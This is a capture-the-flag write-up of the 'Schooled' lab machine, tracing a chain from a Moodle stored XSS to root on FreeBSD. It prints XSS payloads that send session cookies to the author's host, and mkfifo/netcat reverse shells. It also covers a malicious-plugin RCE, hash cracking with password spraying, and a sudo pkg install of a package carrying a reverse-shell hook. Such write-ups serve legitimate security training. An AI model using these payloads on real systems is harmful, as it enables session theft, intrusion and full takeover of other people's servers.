Schooled features an instance of Moodle, a popular LMS used by many school institutions. The installed Moodle version is vulnerable to stored XSS in MoodleNet Profile (CVE-2020-25627) and role privilege escalation (CVE-2020-14321). Exploiting the XSS allows me to login as a teacher. The teacher role can be escalated to a manager role to get the site administration capability, thus allowing me to install a malicious plugin to gain interactive shell access to the system. Internal enumeration reveals database credentials which can be used to recover a password from the database. The password is reused by one of the users for SSH login. This user is allowed to install FreeBSD packages with sudo
permissions, and it can be exploited to gain root access.
Skills Learned
- Stealing cookie with XSS
- Moodle exploitation
- Sudo exploitation on
pkg
Tools
- Nmap
- Burp Suite
Reconnaissance
Nmap
A full scan with nmap discovers three open ports: SSH on 22, an Apache web server on port 80 and a service that nmap
identifies it as mysqlx.
→ root@kali «schooled» «10.10.14.49»
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-schooled 10.10.10.234
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-17 14:34 EDT
Nmap scan report for 10.10.10.234
Host is up, received reset ttl 63 (0.045s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open mysqlx? syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=5/17%Time=60A2BA63%P=x86_64-pc-linux-gnu%r(N
...[SNIP]...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 801.40 seconds
Enumeration
TCP 80 - schooled.htb
Port 80 serving a homepage of a school institution.
In the About section, it states that this school has an online learning system using Moodle.
The Teachers section displays the teachers of the school. This can be useful for generating username list.
On the Contact section, there is an input form. The form submit button points to /contact.php
, but it returns with 404.
At the bottom of the site, it reveals an email address and a domain name: schooled.htb
.
I will update my /etc/hosts
with that domain name.
→ root@kali «schooled» «10.10.14.49»
$ echo '10.10.10.237 schooled.htb' >> /etc/hosts/
Poking back the site with curl
using its domain name reveals that it’s the same site.
→ root@kali «schooled» «10.10.14.49»
$ curl -s http://10.10.10.234/ | wc -c
20750
→ root@kali «schooled» «10.10.14.49»
$ curl -s http://schooled.htb/ | wc -c
20750
Subdomain Fuzz
Enumerating subdomain using gobuster
reveals that there is one called moodle.schooled.htb
.
→ root@kali «schooled» «10.10.14.49»
$ gobuster vhost -u 'http://schooled.htb/' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://schooled.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/17 17:11:00 Starting gobuster in VHOST enumeration mode
===============================================================
Found: moodle.schooled.htb (Status: 200) [Size: 84]
I will update /etc/hosts
again.
→ root@kali «schooled» «10.10.14.49»
$ echo '10.10.10.237 schooled.htb moodle.schooled.htb'
And it’s different site.
→ root@kali «schooled» «10.10.14.49»
$ curl -s http://moodle.schooled.htb/ | wc -c && curl -s http://schooled.htb | wc -c
84
20750
TCP 80 - moodle.schooled.htb
Heading to moodle.schooled.htb
shows that it’s Moodle LMS, and there are four courses available here.
It allows guest login, but nothing much I can do with that, so I will just register an account.
Account Register
To register an account I have to use the domain student.schooled.htb
.
I will change my email domain and login afterwards.
When I visit the domain student.schooled.htb
, it returns the same site as schooled.htb
.
Enroll course
Based on the login activity, Manuel Phillips is the only teacher that seems to be active. So I will enroll to his course (it allows self-enroll).
On the Mathematics course, there are two announcements .
The oldest announcement by Jamie Borham is just a welcome message and the other titled “Reminder for joining students” by Manuel Phillips is a reminder for the students to set their MoodleNet profiles.
The “MoodleNet profile” that Manuel Phillips was talking about can be found at Dashboard -> Preferences -> User account -> Edit profile
.
Finding Vulnerabilities
Exploit-DB
At that time, I didn’t know how to determine the Moodle version, so I started to search the Moodle vulnerabilities on Exploit-DB using keyword Moodle
and sorted the results by latest, here are some potential public exploits I found:
- Moodle 3.10.3 - ‘url’ Persistent Cross Site Scripting => Need a teacher or an administrator or a manager role.
- Moodle 3.10.3 - ’label’ Persistent Cross Site Scripting => Worth to try.
Moodle Security
The other place to look for the Moodle vulnerabilities/security issues is on https://moodle.org/security/. In there, I find one stored XSS that seems interesting because it contains “moodlenetprofile” in its title.
Another one that looks promising is the privilege escalation from the teacher role into manager role.
Foothold
Access as Manuel Phillips
Moodle CVE-2020-25627 - Stored XSS via MoodleNet profile
From the previous enumeration, I remember that Phillips mentioned ‘MoodleNet profile’, which actually the hint to the stored XSS (CVE-2020-25627) vulnerability affected the MoodleNet profile. XSS attack is typically used to steal a user cookie session. So in this case, I’m going to steal Manuel Phillips’s cookie.
First, I will setup a netcat listener on port 80, then I will edit my MoodleNet profile (Dashboard > Preferences > User account > Edit profile > MoodleNet profile
) and change its value to the following payload:
<script> iamf = new Image(); iamf.src='http://10.10.14.49/?iamf='+document.cookie;</script>
Or this one:
<script>document.write('<img src="http://10.10.14.49/?iamf=' + document.cookie + '" />')</script>
After a few minutes, there is a request coming to my listener:
→ root@kali «exploits» «10.10.14.49»
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.234] 26076
GET /?iamf=MoodleSession=40mch0eki9ko6kpe03kq36cd97 HTTP/1.1
Host: 10.10.14.49
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://moodle.schooled.htb/moodle/user/profile.php?id=33
I will update my MoodleSession
to the one I obtained from XSS.
When I refresh the page, I’m now logged in as Manuel Phillips.
Now I can confirm that this Moodle version is 3.9 by visiting http://moodle.schooled.htb/moodle/user/view.php?id=24&course=5
.
Shell as www-data
Moodle CVE-2020-14321 - Teacher role -> Manager role
This Moodle version is known to be vulnerable to the role privilege escalation (CVE-2020-14321
) that allows escalation of privilege from teacher role (Manuel Phillips has teacher role) to manager role. With manager role, it is also possible to obtain code execution by installing a malicious plugin. I will be using this walkthrough video created by the researcher who found this vulnerability as my reference.
The first step is to join a teacher to my course.
I will choose Jamie Borham and enroll it to my course.
I will intercept the enroll request using Burp Suite and modify the userslist
parameter to 24 (UserID of Phillips) then the roletoassign
parameter to 1.
On the course participants, I can see the manager role has been assigned to Phillips.
With manager role, I have the ability to impersonate my participants (they have to be on my course first) using “Login as” function. For example:
When I logged in as Lianne Carter, there is another menu called “Site Administration”.
Malicious Plugin
Now to get RCE, I need to grant full permissions to manager role (from my understanding, Lianne Carter has site administrative capability and manager role).
I will head to Site Administration
-> Users
-> Define roles
-> Manager
-> Edit
to grant full permission to manager role.
Then I will just click on Save changes
button and intercept its request.
Except the sesskey
parameter, I will change all the parameters with this PoC.
Now I can install a malicious plugin by accessing Site Administration
-> Plugins
-> Install plugins
.
I will grab the malicious plugin from this repository: https://github.com/HoangKien1020/Moodle_RCE.
I will just continue on the installation process.
Once the plugin is installed, it can be accessed at http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=[command]
:
Reverse Shell
Since it’s FreeBSD, I will use the mkfifo payload to get a foothold.
mkfifo /tmp/lol;nc 10.10.14.49 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
On my listener:
I will upgrade my shell.
$ /usr/local/bin/python3 -c "import pty;pty.spawn('/bin/sh')"
$ export TERM=xterm
export TERM=xterm
$ which stty
which stty
/bin/stty
$ ^Z
[1] + 4974 suspended nc -nvlp 53
→ root@kali «exploits» «10.10.14.49»
$ stty raw -echo; fg
[1] + 4974 continued nc -nvlp 53
$ ls -l
total 0
$ ls -la
total 0
$ pwd
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en
Privilege Escalation
Shell as jamie
Enumeration
There are two users other than root who have a login shell: jamie and steve.
$ cat /etc/passwd | grep sh$
root:*:0:0:Charlie &:/root:/bin/csh
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
steve:*:1002:1002:User &:/home/steve:/bin/csh
$ ls -l /home/
total 17
drwx------ 2 jamie jamie 11 Feb 28 18:13 jamie
drwx------ 5 steve steve 14 Mar 17 14:05 steve
The Moodle configuration file is located under /usr/local/www/apache24/data/moodle
, and it contains database credentials.
$ cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8_unicode_ci',
);
$CFG->wwwroot = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot = '/usr/local/www/apache24/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
MySQL
MySQL binary cannot be resolved, but it’s available at /usr/local/bin
.
$ /usr/local/bin/mysql moodle -u moodle -p'PlaybookMaster2020'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7517
Server version: 8.0.23 Source distribution
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
moodle@localhost [moodle]>
Table mdl_users
holds all the Moodle user credentials.
moodle@localhost [moodle]> select username,password from mdl_user;
+-------------------+--------------------------------------------------------------+
| username | password |
+-------------------+--------------------------------------------------------------+
| guest | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
| admin | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
...[SNIP]...
| iamf | $2y$10$GTtFW8Rpm8jnLJ1YmpTBy.rmhwTjdWfc9mR6/jC87WtvCK6CgVOXy |
+-------------------+--------------------------------------------------------------+
33 rows in set (0.00 sec)
moodle@localhost [moodle]>
There are a lot of hashes to recover, but I will focus on the admin hash first.
Hash crack
Hashcat recovers the admin password to !QAZ2wsx
.
$ hashcat.exe -m 3200 '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:' rockyou.txt
...[SNIP]...
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Thu May 20 05:04:20 2021 (1 min, 25 secs)
Time.Estimated...: Thu May 20 05:05:45 2021 (0 secs)
Guess.Base.......: File (../rockyou.txt)
...[SNIP]...
Password Spray
With password spray attack, it reveals that the password is reused by user jamie for SSH login.
→ root@kali «schooled» «10.10.14.49»
$ crackmapexec ssh 10.10.10.234 -u users.list -p passwords.list --continue-on-success
SSH 10.10.10.234 22 10.10.10.234 [*] SSH-2.0-OpenSSH_7.9 FreeBSD-20200214
SSH 10.10.10.234 22 10.10.10.234 [-] root:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.234 22 10.10.10.234 [-] root:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.234 22 10.10.10.234 [-] jamie:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.234 22 10.10.10.234 [+] jamie:!QAZ2wsx
SSH 10.10.10.234 22 10.10.10.234 [-] steve:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH 10.10.10.234 22 10.10.10.234 [-] steve:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH
Now I can login as jamie via SSH.
→ root@kali «schooled» «10.10.14.49»
$ ssh jamie@10.10.10.234
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021
...[SNIP]...
jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
Shell as root
Enumeration
User jamie is allowed to run sudo on pkg
binary.
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
According to GTFObins, this can be abused to install malicious FreeBSD package, but fpm
has to be installed first.
Installing a Malicious Package
Using reference from GTFOBins, I can create a malicious package that contains a reverse shell
→ root@kali «exploits» «10.10.14.49»
$ TF=$(mktemp -d); echo 'mkfifo /tmp/lol;nc 10.10.14.49 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol' > $TF/x.sh;fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
DEPRECATION NOTICE: XZ::StreamWriter#close will automatically close the wrapped IO in the future. Use #finish to prevent that.
/var/lib/gems/2.5.0/gems/ruby-xz-0.2.3/lib/xz/stream_writer.rb:185:in `initialize'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `new'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `block in output'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `open'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `output'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:487:in `execute'
/var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:68:in `run'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:574:in `run'
/var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:133:in `run'
/var/lib/gems/2.5.0/gems/fpm-1.12.0/bin/fpm:7:in `<top (required)>'
/usr/local/bin/fpm:23:in `load'
/usr/local/bin/fpm:23:in `<main>'
Created package {:path=>"x-1.0.txz"}
I will transfer the package to Schooled.
→ root@kali «exploits» «10.10.14.49»
$ $(bash -c 'cat x-1.0.txz > /dev/tcp/10.10.10.234/9000')
/dev/tcp/
is a feature from Bash. Since my shell is Zsh, so I had to invoke the transfer command within a subshell.
On Schooled:
jamie@Schooled:~ $ nc -lv 9000 > x-1.0.txz
Connection from 10.10.14.49 60744 received!
I will setup a Netcat listener on my Kali and start the installation of the package on Schooled.
jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
x: 1.0
Number of packages to be installed: 1
[1/1] Installing x-1.0...
...[SNIP]...
And I’m rooted.
→ root@kali «exploits» «10.10.14.49»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.234] 23093
# whoami && id && hostname && cut -c-15 /root/root.txt
root
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Schooled
2462d8e2125d2a0